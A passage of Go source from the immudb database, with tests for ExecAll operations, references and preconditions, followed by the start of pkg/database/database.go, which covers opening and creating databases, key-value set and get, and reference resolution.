index, }, }, } aOps.Operations = append(aOps.Operations, aOp) } go func() { idx, err := st.ExecAllOps(aOps) require.NoError(t, err) require.NotNil(t, idx) wg.Done() }() } wg.Wait() if t.Failed() { t.FailNow() } for i := 1; i <= 10; i++ { set := strconv.FormatUint(uint64(i), 10) zList, err := st.ZScan(context.Background(), schema.ZScanOptions{ Set: []byte(set), }) require.NoError(t, err) require.Len(t, zList.Items, 10) require.Equal(t, zList.Items[i-1].Item.Value, []byte(strconv.FormatUint(uint64(i), 10))) } } func TestStore_ExecAllOpsConcurrentOnMixedPersistedAndNotOnEqualKeysAndEqualScore(t *testing.T) { // Inserting 100 items: // even items are stored on disk with regular sets // odd ones are stored inside batch operations // there are 50 batch Ops with zAdd operation for reference even items already stored // and in addition 50 batch Ops with 1 kv operation for odd items and zAdd operation for reference them onFly // items have same score. They will be returned in insertion order since key is composed by: // {separator}{set}{separator}{score}{key}{bit index presence flag}{index} dbDir := tmpDir() st, _ := makeStoreAt(dbDir) keyA := "A" var index *schema.Index for i := 1; i <= 10; i++ { for j := 1; j <= 10; j++ { // even if j%2 == 0 { val := fmt.Sprintf("%d,%d", i, j) index, _ = st.Set(context.Background(), schema.KeyValue{ Key: []byte(keyA), Value: []byte(val), }) require.NotNil(t, index) } } } st.tree.close(true) st.Close() st, closer := makeStoreAt(dbDir) defer closer() st.tree.WaitUntil(49) wg := sync.WaitGroup{} wg.Add(100) gIdx := uint64(0) for i := 1; i <= 10; i++ { for j := 1; j <= 10; j++ { aOps := &schema.Ops{ Operations: []*schema.Op{}, } // odd if j%2 != 0 { val := fmt.Sprintf("%d,%d", i, j) aOp := &schema.Op{ Operation: &schema.Op_KVs{ KVs: &schema.KeyValue{ Key: []byte(keyA), Value: []byte(val), }, }, } aOps.Operations = append(aOps.Operations, aOp) index = nil } else { index = &schema.Index{Index: gIdx} gIdx++ } float, err := strconv.ParseFloat(fmt.Sprintf("%d", j), 64) if err != nil { log.Fatal(err) } refKey := keyA set := strconv.FormatUint(uint64(j), 10) aOp := &schema.Op{ Operation: &schema.Op_ZOpts{ ZOpts: &schema.ZAddOptions{ Set: []byte(set), Key: []byte(refKey), Score: &schema.Score{ Score: float, }, Index: index, }, }, } aOps.Operations = append(aOps.Operations, aOp) go func() { idx, err := st.ExecAllOps(aOps) require.NoError(t, err) require.NotNil(t, idx) wg.Done() }() } } wg.Wait() if t.Failed() { t.FailNow() } history, err := st.History(&schema.HistoryOptions{ Key: []byte(keyA), }) require.NoError(t, err) require.NotNil(t, history) for i := 1; i <= 10; i++ { set := strconv.FormatUint(uint64(i), 10) zList, err := st.ZScan(context.Background(), schema.ZScanOptions{ Set: []byte(set), }) require.NoError(t, err) require.NoError(t, err) // item are returned in insertion order since they have same score require.Len(t, zList.Items, 10) } } func TestExecAllOpsMonotoneTsRange(t *testing.T) { st, closer := makeStore() defer closer() batchSize := 100 atomicOps := make([]*schema.Op, batchSize) for i := 0; i < batchSize; i++ { key := []byte(strconv.FormatUint(uint64(i), 10)) value := []byte(strconv.FormatUint(uint64(batchSize+batchSize+i), 10)) atomicOps[i] = &schema.Op{ Operation: &schema.Op_KVs{ KVs: &schema.KeyValue{ Key: key, Value: value, }, }, } } idx, err := st.ExecAllOps(&schema.Ops{Operations: atomicOps}) require.NoError(t, err) require.Equal(t, uint64(batchSize), idx.GetIndex()+1) for i := 0; i < batchSize; i++ { item, err := st.ByIndex(schema.Index{ Index: uint64(i), }) require.NoError(t, err) require.Equal(t, []byte(strconv.FormatUint(uint64(batchSize+batchSize+i), 10)), item.Value) require.Equal(t, uint64(i), item.Index) } } */ func TestOps_ReferenceKeyAlreadyPersisted(t *testing.T) { db := makeDb(t) idx0, _ := db.Set(context.Background(), &schema.SetRequest{ KVs: []*schema.KeyValue{ { Key: []byte(`persistedKey`), Value: []byte(`persistedVal`), }, }, }) aOps := &schema.ExecAllRequest{ Operations: []*schema.Op{ { Operation: &schema.Op_Ref{ Ref: &schema.ReferenceRequest{ Key: nil, ReferencedKey: nil, AtTx: idx0.Id, }, }, }, }, } _, err := db.ExecAll(context.Background(), aOps) require.ErrorIs(t, err, store.ErrIllegalArguments) // Ops payload aOps = &schema.ExecAllRequest{ Operations: []*schema.Op{ { Operation: &schema.Op_Ref{ Ref: &schema.ReferenceRequest{ Key: []byte(`myReference`), ReferencedKey: []byte(`persistedKey`), AtTx: idx0.Id, BoundRef: true, }, }, }, }, } idx1, err := db.ExecAll(context.Background(), aOps) require.NoError(t, err) aOps = &schema.ExecAllRequest{ Operations: []*schema.Op{ { Operation: &schema.Op_Ref{ Ref: &schema.ReferenceRequest{ Key: []byte(`myReference1`), ReferencedKey: []byte(`myReference`), AtTx: idx1.Id, BoundRef: true, }, }, }, }, } _, err = db.ExecAll(context.Background(), aOps) require.ErrorIs(t, err, ErrReferencedKeyCannotBeAReference) aOps = &schema.ExecAllRequest{ Operations: []*schema.Op{ { Operation: &schema.Op_Ref{ Ref: &schema.ReferenceRequest{ Key: []byte(`persistedKey`), ReferencedKey: []byte(`persistedKey`), AtTx: idx0.Id, BoundRef: true, }, }, }, }, } _, err = db.ExecAll(context.Background(), aOps) require.ErrorIs(t, err, ErrFinalKeyCannotBeConvertedIntoReference) ref, err := db.Get(context.Background(), &schema.KeyRequest{Key: []byte(`myReference`), SinceTx: idx1.Id}) require.NoError(t, err) require.NotEmptyf(t, ref, "Should not be empty") require.Equal(t, []byte(`persistedVal`), ref.Value, "Should have referenced item value") require.Equal(t, []byte(`persistedKey`), ref.Key, "Should have referenced item value") } func TestOps_Preconditions(t *testing.T) { db := makeDb(t) _, err := db.ExecAll(context.Background(), &schema.ExecAllRequest{ Operations: []*schema.Op{{ Operation: &schema.Op_Kv{ Kv: &schema.KeyValue{ Key: []byte("key"), Value: []byte("value"), }, }, }}, Preconditions: []*schema.Precondition{ schema.PreconditionKeyMustExist([]byte("key")), }, }) require.ErrorIs(t, err, store.ErrPreconditionFailed) _, err = db.ExecAll(context.Background(), &schema.ExecAllRequest{ Operations: []*schema.Op{{ Operation: &schema.Op_Kv{ Kv: &schema.KeyValue{ Key: []byte("key"), Value: []byte("value"), }, }, }}, Preconditions: []*schema.Precondition{ schema.PreconditionKeyMustNotExist([]byte("key")), }, }) require.NoError(t, err) _, err = db.ExecAll(context.Background(), &schema.ExecAllRequest{ Operations: []*schema.Op{{ Operation: &schema.Op_Kv{ Kv: &schema.KeyValue{ Key: []byte("key"), Value: []byte("value"), }, }, }}, Preconditions: []*schema.Precondition{ schema.PreconditionKeyMustNotExist([]byte("key")), }, }) require.ErrorIs(t, err, store.ErrPreconditionFailed) _, err = db.ExecAll(context.Background(), &schema.ExecAllRequest{ Operations: []*schema.Op{{ Operation: &schema.Op_Kv{ Kv: &schema.KeyValue{ Key: []byte("key"), Value: []byte("value"), }, }, }}, Preconditions: []*schema.Precondition{ schema.PreconditionKeyMustExist([]byte("key")), }, }) require.NoError(t, err) _, err = db.ExecAll(context.Background(), &schema.ExecAllRequest{ Operations: []*schema.Op{{ Operation: &schema.Op_Ref{ Ref: &schema.ReferenceRequest{ Key: []byte("reference"), ReferencedKey: []byte("key"), }, }, }}, Preconditions: []*schema.Precondition{ schema.PreconditionKeyMustExist([]byte("reference")), }, }) require.ErrorIs(t, err, store.ErrPreconditionFailed) _, err = db.ExecAll(context.Background(), &schema.ExecAllRequest{ Operations: []*schema.Op{{ Operation: &schema.Op_Ref{ Ref: &schema.ReferenceRequest{ Key: []byte("reference"), ReferencedKey: []byte("key"), }, }, }}, Preconditions: []*schema.Precondition{ schema.PreconditionKeyMustNotExist([]byte("reference")), }, }) require.NoError(t, err) _, err = db.ExecAll(context.Background(), &schema.ExecAllRequest{ Operations: []*schema.Op{{ Operation: &schema.Op_Ref{ Ref: &schema.ReferenceRequest{ Key: []byte("reference"), ReferencedKey: []byte("key"), }, }, }}, Preconditions: []*schema.Precondition{nil}, }) require.ErrorIs(t, err, store.ErrInvalidPrecondition) _, err = db.ExecAll(context.Background(), &schema.ExecAllRequest{ Operations: []*schema.Op{{ Operation: &schema.Op_Ref{ Ref: &schema.ReferenceRequest{ Key: []byte("reference"), ReferencedKey: []byte("key"), }, }, }}, Preconditions: []*schema.Precondition{ schema.PreconditionKeyMustNotExist( []byte("reference" + strings.Repeat("*", db.GetOptions().storeOpts.MaxKeyLen)), ), }, }) require.ErrorIs(t, err, store.ErrInvalidPrecondition) c := []*schema.Precondition{} for i := 0; i <= db.GetOptions().storeOpts.MaxTxEntries; i++ { c = append(c, schema.PreconditionKeyMustNotExist( []byte(fmt.Sprintf("key_%d", i)), )) } _, err = db.ExecAll(context.Background(), &schema.ExecAllRequest{ Operations: []*schema.Op{{ Operation: &schema.Op_Ref{ Ref: &schema.ReferenceRequest{ Key: []byte("reference"), ReferencedKey: []byte("key"), }, }, }}, Preconditions: c, }) require.ErrorIs(t, err, store.ErrInvalidPrecondition, "did not fail when too many preconditions were given") } /* func TestOps_ReferenceKeyNotYetPersisted(t *testing.T) { st, closer := makeStore() defer closer() // Ops payload aOps := &schema.Ops{ Operations: []*schema.Op{ { Operation: &schema.Op_KVs{ KVs: &schema.KeyValue{ Key: []byte(`key`), Value: []byte(`val`), }, }, }, { Operation: &schema.Op_ROpts{ ROpts: &schema.ReferenceOptions{ Reference: []byte(`myTag`), Key: []byte(`key`), }, }, }, }, } _, err := st.ExecAllOps(aOps) require.NoError(t, err) ref, err := st.Get(context.Background(), schema.Key{Key: []byte(`myTag`)}) require.NoError(t, err) require.NotEmptyf(t, ref, "Should not be empty") require.Equal(t, []byte(`val`), ref.Value, "Should have referenced item value") require.Equal(t, []byte(`key`), ref.Key, "Should have referenced item value") } func TestOps_ReferenceIndexNotExists(t *testing.T) { st, closer := makeStore() defer closer() // Ops payload aOps := &schema.Ops{ Operations: []*schema.Op{ { Operation: &schema.Op_ROpts{ ROpts: &schema.ReferenceOptions{ Reference: []byte(`myReference`), Key: []byte(`persistedKey`), Index: &schema.Index{ Index: 1234, }, }, }, }, }, } _, err := st.ExecAllOps(aOps) require.ErrorIs(t, err, ErrIndexNotFound) } func TestOps_ReferenceIndexMissing(t *testing.T) { st, closer := makeStore() defer closer() // Ops payload aOps := &schema.Ops{ Operations: []*schema.Op{ { Operation: &schema.Op_ROpts{ ROpts: &schema.ReferenceOptions{ Reference: []byte(`myReference`), Key: []byte(`persistedKey`), }, }, }, }, } _, err := st.ExecAllOps(aOps) require.ErrorIs(t, err, ErrReferenceIndexMissing) } */ ================================================ FILE: pkg/database/database.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package database import ( "context" "crypto/sha256" "encoding/binary" "errors" "fmt" "math" "os" "path/filepath" "sync" "time" "github.com/codenotary/immudb/embedded/document" "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/pgsql/pgschema" ) const ( MaxKeyResolutionLimit = 1 MaxKeyScanLimit = 2500 ) var ( ErrKeyResolutionLimitReached = errors.New("key resolution limit reached. It may be due to cyclic references") ErrResultSizeLimitExceeded = errors.New("result size limit exceeded") ErrResultSizeLimitReached = errors.New("result size limit reached") ErrIllegalArguments = store.ErrIllegalArguments ErrIllegalState = store.ErrIllegalState ErrIsReplica = errors.New("database is read-only because it's a replica") ErrNotReplica = errors.New("database is NOT a replica") ErrReplicaDivergedFromPrimary = errors.New("replica diverged from primary") ErrInvalidRevision = errors.New("invalid key revision number") ) type DB interface { GetName() string // Setttings GetOptions() *Options Path() string AsReplica(asReplica, syncReplication bool, syncAcks int) IsReplica() bool IsSyncReplicationEnabled() bool SetSyncReplication(enabled bool) MaxResultSize() int // State Health() (waitingCount int, lastReleaseAt time.Time) CurrentState() (*schema.ImmutableState, error) Size() (uint64, error) TxCount() (uint64, error) // Key-Value Set(ctx context.Context, req *schema.SetRequest) (*schema.TxHeader, error) VerifiableSet(ctx context.Context, req *schema.VerifiableSetRequest) (*schema.VerifiableTx, error) Get(ctx context.Context, req *schema.KeyRequest) (*schema.Entry, error) VerifiableGet(ctx context.Context, req *schema.VerifiableGetRequest) (*schema.VerifiableEntry, error) GetAll(ctx context.Context, req *schema.KeyListRequest) (*schema.Entries, error) Delete(ctx context.Context, req *schema.DeleteKeysRequest) (*schema.TxHeader, error) SetReference(ctx context.Context, req *schema.ReferenceRequest) (*schema.TxHeader, error) VerifiableSetReference(ctx context.Context, req *schema.VerifiableReferenceRequest) (*schema.VerifiableTx, error) Scan(ctx context.Context, req *schema.ScanRequest) (*schema.Entries, error) History(ctx context.Context, req *schema.HistoryRequest) (*schema.Entries, error) ExecAll(ctx context.Context, operations *schema.ExecAllRequest) (*schema.TxHeader, error) Count(ctx context.Context, prefix *schema.KeyPrefix) (*schema.EntryCount, error) CountAll(ctx context.Context) (*schema.EntryCount, error) ZAdd(ctx context.Context, req *schema.ZAddRequest) (*schema.TxHeader, error) VerifiableZAdd(ctx context.Context, req *schema.VerifiableZAddRequest) (*schema.VerifiableTx, error) ZScan(ctx context.Context, req *schema.ZScanRequest) (*schema.ZEntries, error) // SQL-related NewSQLTx(ctx context.Context, opts *sql.TxOptions) (*sql.SQLTx, error) SQLExec(ctx context.Context, tx *sql.SQLTx, req *schema.SQLExecRequest) (ntx *sql.SQLTx, ctxs []*sql.SQLTx, err error) SQLExecPrepared(ctx context.Context, tx *sql.SQLTx, stmts []sql.SQLStmt, params map[string]interface{}) (ntx *sql.SQLTx, ctxs []*sql.SQLTx, err error) InferParameters(ctx context.Context, tx *sql.SQLTx, sql string) (map[string]sql.SQLValueType, error) InferParametersPrepared(ctx context.Context, tx *sql.SQLTx, stmt sql.SQLStmt) (map[string]sql.SQLValueType, error) SQLQuery(ctx context.Context, tx *sql.SQLTx, req *schema.SQLQueryRequest) (sql.RowReader, error) SQLQueryAll(ctx context.Context, tx *sql.SQLTx, req *schema.SQLQueryRequest) ([]*sql.Row, error) SQLQueryPrepared(ctx context.Context, tx *sql.SQLTx, stmt sql.DataSource, params map[string]interface{}) (sql.RowReader, error) VerifiableSQLGet(ctx context.Context, req *schema.VerifiableSQLGetRequest) (*schema.VerifiableSQLEntry, error) CopySQLCatalog(ctx context.Context, txID uint64) (uint64, error) ListTables(ctx context.Context, tx *sql.SQLTx) (*schema.SQLQueryResult, error) DescribeTable(ctx context.Context, tx *sql.SQLTx, table string) (*schema.SQLQueryResult, error) // Transactional layer WaitForTx(ctx context.Context, txID uint64, allowPrecommitted bool) error WaitForIndexingUpto(ctx context.Context, txID uint64) error TxByID(ctx context.Context, req *schema.TxRequest) (*schema.Tx, error) ExportTxByID(ctx context.Context, req *schema.ExportTxRequest) (txbs []byte, mayCommitUpToTxID uint64, mayCommitUpToAlh [sha256.Size]byte, err error) ReplicateTx(ctx context.Context, exportedTx []byte, skipIntegrityCheck bool, waitForIndexing bool) (*schema.TxHeader, error) AllowCommitUpto(txID uint64, alh [sha256.Size]byte) error DiscardPrecommittedTxsSince(txID uint64) error VerifiableTxByID(ctx context.Context, req *schema.VerifiableTxRequest) (*schema.VerifiableTx, error) TxScan(ctx context.Context, req *schema.TxScanRequest) (*schema.TxList, error) // Truncation FindTruncationPoint(ctx context.Context, until time.Time) (*schema.TxHeader, error) TruncateUptoTx(ctx context.Context, txID uint64) error // Maintenance FlushIndex(req *schema.FlushIndexRequest) error CompactIndex() error IsClosed() bool Close() error DocumentDatabase } type replicaState struct { precommittedTxID uint64 precommittedAlh [sha256.Size]byte } // IDB database instance type db struct { st *store.ImmuStore sqlEngine *sql.Engine documentEngine *document.Engine mutex *instrumentedRWMutex closingMutex sync.Mutex Logger logger.Logger options *Options name string maxResultSize int txPool store.TxPool replicaStates map[string]*replicaState replicaStatesMutex sync.Mutex } // OpenDB Opens an existing Database from disk func OpenDB( dbName string, multidbHandler sql.MultiDBHandler, opts *Options, log logger.Logger, ) (DB, error) { if dbName == "" { return nil, fmt.Errorf("%w: invalid database name provided '%s'", ErrIllegalArguments, dbName) } log.Infof("opening database '%s' {replica = %v}...", dbName, opts.replica) var replicaStates map[string]*replicaState // replica states are only managed in primary with synchronous replication if !opts.replica && opts.syncAcks > 0 { replicaStates = make(map[string]*replicaState, opts.syncAcks) } dbi := &db{ Logger: log, options: opts, name: dbName, replicaStates: replicaStates, maxResultSize: opts.maxResultSize, mutex: &instrumentedRWMutex{}, } dbDir := dbi.Path() _, err := os.Stat(dbDir) if os.IsNotExist(err) { return nil, fmt.Errorf("missing database directories: %s", dbDir) } stOpts := opts.GetStoreOptions(). WithLogger(log). WithMultiIndexing(true). WithExternalCommitAllowance(opts.syncReplication) dbi.st, err = store.Open(dbDir, stOpts) if err != nil { return nil, logErr(dbi.Logger, "unable to open database: %s", err) } for _, prefix := range []byte{SetKeyPrefix, SortedSetKeyPrefix} { err := dbi.st.InitIndexing(&store.IndexSpec{ SourcePrefix: []byte{prefix}, TargetPrefix: []byte{prefix}, }) if err != nil { dbi.st.Close() return nil, logErr(dbi.Logger, "unable to open database: %s", err) } } dbi.Logger.Infof("loading sql-engine for database '%s' {replica = %v}...", dbName, opts.replica) sqlOpts := sql.DefaultOptions(). WithPrefix([]byte{SQLPrefix}). WithMultiDBHandler(multidbHandler). WithParseTxMetadataFunc(parseTxMetadata). WithTableResolvers(pgschema.PgCatalogResolvers()...) dbi.sqlEngine, err = sql.NewEngine(dbi.st, sqlOpts) if err != nil { dbi.Logger.Errorf("unable to load sql-engine for database '%s' {replica = %v}. %v", dbName, opts.replica, err) return nil, err } dbi.Logger.Infof("sql-engine ready for database '%s' {replica = %v}", dbName, opts.replica) dbi.documentEngine, err = document.NewEngine(dbi.st, document.DefaultOptions().WithPrefix([]byte{DocumentPrefix})) if err != nil { return nil, err } dbi.Logger.Infof("document-engine ready for database '%s' {replica = %v}", dbName, opts.replica) txPool, err := dbi.st.NewTxHolderPool(opts.readTxPoolSize, false) if err != nil { return nil, logErr(dbi.Logger, "unable to create tx pool: %s", err) } dbi.txPool = txPool if opts.replica { dbi.Logger.Infof("database '%s' {replica = %v} successfully opened", dbName, opts.replica) return dbi, nil } dbi.Logger.Infof("database '%s' {replica = %v} successfully opened", dbName, opts.replica) return dbi, nil } func parseTxMetadata(data []byte) (map[string]interface{}, error) { md := schema.Metadata{} if err := md.Unmarshal(data); err != nil { return nil, err } meta := make(map[string]interface{}, len(md)) for k, v := range md { meta[k] = v } return meta, nil } func (d *db) Path() string { return filepath.Join(d.options.GetDBRootPath(), d.GetName()) } func (d *db) allocTx() (*store.Tx, error) { tx, err := d.txPool.Alloc() if errors.Is(err, store.ErrTxPoolExhausted) { return nil, ErrTxReadPoolExhausted } return tx, err } func (d *db) releaseTx(tx *store.Tx) { d.txPool.Release(tx) } // NewDB Creates a new Database along with it's directories and files func NewDB(dbName string, multidbHandler sql.MultiDBHandler, opts *Options, log logger.Logger) (DB, error) { if dbName == "" { return nil, fmt.Errorf("%w: invalid database name provided '%s'", ErrIllegalArguments, dbName) } log.Infof("creating database '%s' {replica = %v}...", dbName, opts.replica) var replicaStates map[string]*replicaState // replica states are only managed in primary with synchronous replication if !opts.replica && opts.syncAcks > 0 { replicaStates = make(map[string]*replicaState, opts.syncAcks) } dbi := &db{ Logger: log, options: opts, name: dbName, replicaStates: replicaStates, maxResultSize: opts.maxResultSize, mutex: &instrumentedRWMutex{}, } dbDir := filepath.Join(opts.GetDBRootPath(), dbName) _, err := os.Stat(dbDir) if err == nil { return nil, fmt.Errorf("database directories already exist: %s", dbDir) } if err = os.MkdirAll(dbDir, os.ModePerm); err != nil { return nil, logErr(dbi.Logger, "unable to create data folder: %s", err) } stOpts := opts.GetStoreOptions(). WithExternalCommitAllowance(opts.syncReplication). WithMultiIndexing(true). WithLogger(log) dbi.st, err = store.Open(dbDir, stOpts) if err != nil { return nil, logErr(dbi.Logger, "unable to open database: %s", err) } for _, prefix := range []byte{SetKeyPrefix, SortedSetKeyPrefix} { err := dbi.st.InitIndexing(&store.IndexSpec{ SourcePrefix: []byte{prefix}, TargetPrefix: []byte{prefix}, }) if err != nil { dbi.st.Close() return nil, logErr(dbi.Logger, "unable to open database: %s", err) } } txPool, err := dbi.st.NewTxHolderPool(opts.readTxPoolSize, false) if err != nil { return nil, logErr(dbi.Logger, "unable to create tx pool: %s", err) } dbi.txPool = txPool sqlOpts := sql.DefaultOptions(). WithPrefix([]byte{SQLPrefix}). WithMultiDBHandler(multidbHandler). WithParseTxMetadataFunc(parseTxMetadata). WithTableResolvers(pgschema.PgCatalogResolvers()...) dbi.Logger.Infof("loading sql-engine for database '%s' {replica = %v}...", dbName, opts.replica) dbi.sqlEngine, err = sql.NewEngine(dbi.st, sqlOpts) if err != nil { dbi.Logger.Errorf("unable to load sql-engine for database '%s' {replica = %v}. %v", dbName, opts.replica, err) return nil, err } dbi.Logger.Infof("sql-engine ready for database '%s' {replica = %v}", dbName, opts.replica) dbi.documentEngine, err = document.NewEngine(dbi.st, document.DefaultOptions().WithPrefix([]byte{DocumentPrefix})) if err != nil { return nil, logErr(dbi.Logger, "Unable to open database: %s", err) } dbi.Logger.Infof("document-engine ready for database '%s' {replica = %v}", dbName, opts.replica) dbi.Logger.Infof("database '%s' successfully created {replica = %v}", dbName, opts.replica) return dbi, nil } func (d *db) MaxResultSize() int { return d.maxResultSize } func (d *db) FlushIndex(req *schema.FlushIndexRequest) error { if req == nil { return store.ErrIllegalArguments } return d.st.FlushIndexes(req.CleanupPercentage, req.Synced) } // CompactIndex ... func (d *db) CompactIndex() error { return d.st.CompactIndexes() } // Set ... func (d *db) Set(ctx context.Context, req *schema.SetRequest) (*schema.TxHeader, error) { d.mutex.RLock() defer d.mutex.RUnlock() if d.isReplica() { return nil, ErrIsReplica } return d.set(ctx, req) } func (d *db) set(ctx context.Context, req *schema.SetRequest) (*schema.TxHeader, error) { if req == nil { return nil, ErrIllegalArguments } tx, err := d.newWriteOnlyTx(ctx) if err != nil { return nil, err } defer tx.Cancel() keys := make(map[[sha256.Size]byte]struct{}, len(req.KVs)) for _, kv := range req.KVs { if len(kv.Key) == 0 { return nil, ErrIllegalArguments } kid := sha256.Sum256(kv.Key) _, ok := keys[kid] if ok { return nil, schema.ErrDuplicatedKeysNotSupported } keys[kid] = struct{}{} e := EncodeEntrySpec( kv.Key, schema.KVMetadataFromProto(kv.Metadata), kv.Value, ) err = tx.Set(e.Key, e.Metadata, e.Value) if err != nil { return nil, err } } for i := range req.Preconditions { c, err := PreconditionFromProto(req.Preconditions[i]) if err != nil { return nil, err } err = tx.AddPrecondition(c) if err != nil { return nil, fmt.Errorf("%w: %v", store.ErrInvalidPrecondition, err) } } var hdr *store.TxHeader if req.NoWait { hdr, err = tx.AsyncCommit(ctx) } else { hdr, err = tx.Commit(ctx) } if err != nil { return nil, err } return schema.TxHeaderToProto(hdr), nil } func (d *db) newWriteOnlyTx(ctx context.Context) (*store.OngoingTx, error) { tx, err := d.st.NewWriteOnlyTx(ctx) if err != nil { return nil, err } return d.txWithMetadata(ctx, tx) } func (d *db) newTx(ctx context.Context, opts *store.TxOptions) (*store.OngoingTx, error) { tx, err := d.st.NewTx(ctx, opts) if err != nil { return nil, err } return d.txWithMetadata(ctx, tx) } func (d *db) txWithMetadata(ctx context.Context, tx *store.OngoingTx) (*store.OngoingTx, error) { meta := schema.MetadataFromContext(ctx) if len(meta) > 0 { txmd := store.NewTxMetadata() data, err := meta.Marshal() if err != nil { return nil, err } if err := txmd.WithExtra(data); err != nil { return nil, err } return tx.WithMetadata(txmd), nil } return tx, nil } func checkKeyRequest(req *schema.KeyRequest) error { if req == nil { return fmt.Errorf( "%w: empty request", ErrIllegalArguments, ) } if len(req.Key) == 0 { return fmt.Errorf( "%w: empty key", ErrIllegalArguments, ) } if req.AtTx > 0 { if req.SinceTx > 0 { return fmt.Errorf( "%w: SinceTx should not be specified when AtTx is used", ErrIllegalArguments, ) } if req.AtRevision != 0 { return fmt.Errorf( "%w: AtRevision should not be specified when AtTx is used", ErrIllegalArguments, ) } } return nil } // Get ... func (d *db) Get(ctx context.Context, req *schema.KeyRequest) (*schema.Entry, error) { err := checkKeyRequest(req) if err != nil { return nil, err } currTxID, _ := d.st.CommittedAlh() if req.SinceTx > currTxID { return nil, fmt.Errorf( "%w: SinceTx must not be greater than the current transaction ID", ErrIllegalArguments, ) } if !req.NoWait && req.AtTx == 0 { waitUntilTx := req.SinceTx if waitUntilTx == 0 { waitUntilTx = currTxID } err := d.WaitForIndexingUpto(ctx, waitUntilTx) if err != nil { return nil, err } } if req.AtRevision != 0 { return d.getAtRevision(ctx, EncodeKey(req.Key), req.AtRevision, true) } return d.getAtTx(ctx, EncodeKey(req.Key), req.AtTx, 0, d.st, 0, true) } func (d *db) get(ctx context.Context, key []byte, index store.KeyIndex, skipIntegrityCheck bool) (*schema.Entry, error) { return d.getAtTx(ctx, key, 0, 0, index, 0, skipIntegrityCheck) } func (d *db) getAtTx( ctx context.Context, key []byte, atTx uint64, resolved int, index store.KeyIndex, revision uint64, skipIntegrityCheck bool, ) (entry *schema.Entry, err error) { var txID uint64 var val []byte var md *store.KVMetadata if atTx == 0 { valRef, err := index.Get(ctx, key) if err != nil { return nil, err } txID = valRef.Tx() revision = valRef.HC() md = valRef.KVMetadata() val, err = valRef.Resolve() if err != nil { return nil, err } } else { txID = atTx md, val, err = d.readMetadataAndValue(key, atTx, skipIntegrityCheck) if err != nil { return nil, err } } return d.resolveValue(ctx, key, val, resolved, txID, md, index, revision, skipIntegrityCheck) } func (d *db) readMetadataAndValue(key []byte, atTx uint64, skipIntegrityCheck bool) (*store.KVMetadata, []byte, error) { entry, _, err := d.st.ReadTxEntry(atTx, key, skipIntegrityCheck) if err != nil { return nil, nil, err } v, err := d.st.ReadValue(entry) if err != nil { return nil, nil, err } return entry.Metadata(), v, nil } func (d *db) getAtRevision(ctx context.Context, key []byte, atRevision int64, skipIntegrityCheck bool) (entry *schema.Entry, err error) { var offset uint64 var desc bool if atRevision > 0 { offset = uint64(atRevision) - 1 desc = false } else { offset = -uint64(atRevision) desc = true } valRefs, hCount, err := d.st.History(key, offset, desc, 1) if errors.Is(err, store.ErrNoMoreEntries) || errors.Is(err, store.ErrOffsetOutOfRange) { return nil, ErrInvalidRevision } if err != nil { return nil, err } if atRevision < 0 { atRevision = int64(hCount) + atRevision } entry, err = d.getAtTx(ctx, key, valRefs[0].Tx(), 0, d.st, uint64(atRevision), skipIntegrityCheck) if err != nil { return nil, err } return entry, err } func (d *db) resolveValue( ctx context.Context, key []byte, val []byte, resolved int, txID uint64, md *store.KVMetadata, index store.KeyIndex, revision uint64, skipIntegrityCheck bool, ) (entry *schema.Entry, err error) { if md != nil && md.Deleted() { return nil, store.ErrKeyNotFound } if len(val) < 1 { return nil, fmt.Errorf("%w: internal value consistency error - missing value prefix", store.ErrCorruptedData) } // Reference lookup if val[0] == ReferenceValuePrefix { if len(val) < 1+8 { return nil, fmt.Errorf("%w: internal value consistency error - invalid reference", store.ErrCorruptedData) } if resolved == MaxKeyResolutionLimit { return nil, ErrKeyResolutionLimitReached } atTx := binary.BigEndian.Uint64(TrimPrefix(val)) refKey := make([]byte, len(val)-1-8) copy(refKey, val[1+8:]) if index != nil { entry, err = d.getAtTx(ctx, refKey, atTx, resolved+1, index, 0, skipIntegrityCheck) if err != nil { return nil, err } } else { entry = &schema.Entry{ Key: TrimPrefix(refKey), Tx: atTx, } } entry.ReferencedBy = &schema.Reference{ Tx: txID, Key: TrimPrefix(key), Metadata: schema.KVMetadataToProto(md), AtTx: atTx, Revision: revision, } return entry, nil } return &schema.Entry{ Tx: txID, Key: TrimPrefix(key), Metadata: schema.KVMetadataToProto(md), Value: TrimPrefix(val), Revision: revision, }, nil } func (d *db) Health() (waitingCount int, lastReleaseAt time.Time) { return d.mutex.State() } // CurrentState ... func (d *db) CurrentState() (*schema.ImmutableState, error) { lastTxID, lastTxAlh := d.st.CommittedAlh() lastPreTxID, lastPreTxAlh := d.st.PrecommittedAlh() return &schema.ImmutableState{ TxId: lastTxID, TxHash: lastTxAlh[:], PrecommittedTxId: lastPreTxID, PrecommittedTxHash: lastPreTxAlh[:], }, nil } // WaitForTx blocks caller until specified tx func (d *db) WaitForTx(ctx context.Context, txID uint64, allowPrecommitted bool) error { return d.st.WaitForTx(ctx, txID, allowPrecommitted) } // WaitForIndexingUpto blocks caller until specified tx gets indexed func (d *db) WaitForIndexingUpto(ctx context.Context, txID uint64) error { return d.st.WaitForIndexingUpto(ctx, txID) } // VerifiableSet ... func (d *db) VerifiableSet(ctx context.Context, req *schema.VerifiableSetRequest) (*schema.VerifiableTx, error) { if req == nil { return nil, ErrIllegalArguments } lastTxID, _ := d.st.CommittedAlh() if lastTxID < req.ProveSinceTx { return nil, ErrIllegalState } // Preallocate tx buffers lastTx, err := d.allocTx() if err != nil { return nil, err } defer d.releaseTx(lastTx) txhdr, err := d.Set(ctx, req.SetRequest) if err != nil { return nil, err } err = d.st.ReadTx(uint64(txhdr.Id), false, lastTx) if err != nil { return nil, err } var prevTxHdr *store.TxHeader if req.ProveSinceTx == 0 { prevTxHdr = lastTx.Header() } else { prevTxHdr, err = d.st.ReadTxHeader(req.ProveSinceTx, false, false) if err != nil { return nil, err } } dualProof, err := d.st.DualProof(prevTxHdr, lastTx.Header()) if err != nil { return nil, err } return &schema.VerifiableTx{ Tx: schema.TxToProto(lastTx), DualProof: 